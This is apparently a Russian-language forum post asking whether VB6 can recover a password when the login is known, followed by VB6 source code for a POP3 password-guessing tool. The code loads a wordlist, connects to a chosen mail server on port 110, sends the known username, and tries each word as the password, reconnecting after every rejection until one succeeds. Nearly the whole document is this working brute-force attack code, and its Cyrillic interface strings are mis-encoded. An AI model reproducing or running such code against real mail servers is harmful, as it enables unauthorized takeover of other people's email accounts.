Возможно ли с помощью VB6 вытащить пароль, если я знаю логин?

Dim m_state As Integer
Dim begin As Boolean
 
Private Sub cmdRefresh_Click()
lstWords.Clear
GetPassList
End Sub
 
Private Sub Command1_Click()
If begin = True Then
Winsock1.LocalPort = 0
Winsock1.Connect txtHost.Text, 110
lstWords_Click
m_state = 0
Command1.Caption = 'Îñòàíîâèòü'
begin = False
ElseIf begin = False Then
Winsock1.Close
begin = True
Command1.Caption = 'Íà÷àòü'
End If
End Sub
 
Private Sub Form_Load()
On Error Resume Next
txtPath.Text = App.Path + 'words.txt'
begin = True
GetPassList
End Sub
 
Private Sub lstWords_Click()
txtPassN.Text = lstWords.ListIndex + 1
End Sub
 
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
        Dim strData As String
    
 
    Winsock1.GetData strData
    Debug.Print strData
    
    If Left$(strData, 1) = '+' Then
     If Mid(strData, 1, 4 + Len(txtUserName.Text)) = '+OK ' & txtUserName.Text And InStr(1, strData, ')') <> 0 Then
     MsgBox 'Ïàðîëü íàéäåí'
     Command1.Caption = 'Íà÷àòü'
     Exit Sub
     End If
    Debug.Print strData
    
        Select Case m_state
            Case 0
                intMessages = 0
                m_state = 1
                Winsock1.SendData 'USER ' & txtUserName.Text & vbCrLf
                Debug.Print 'USER ' & txtUserName.Text
            Case 1
sn:
            lstWords_Click
            If Len(lstWords.Text) >= Val(txtMinL.Text) Then
                      Winsock1.SendData 'PASS ' & lstWords.Text & vbCrLf
                Debug.Print 'TestPASS ' + lstWords.Text
             Else
             lstWords.ListIndex = lstWords.ListIndex + 1
             GoTo sn
             End If
                 lstWords_Click
                 
    End Select
    ElseIf Left$(strData, 1) = '-' Then
    Winsock1.Close
    Winsock1.LocalPort = 0
    lstWords_Click
    lstWords.ListIndex = lstWords.ListIndex + 1
Winsock1.Connect txtHost.Text, 110
m_state = 0
 
    Else
        Debug.Print strData
    End If
 
End Sub
 
Private Sub GetPassList()
lstWords.Clear
ff = FreeFile
Open txtPath.Text For Input As #ff
Do Until EOF(ff)
Input #ff, wrd
lstWords.AddItem wrd
Loop
Close
lstWords.ListIndex = 0
End Sub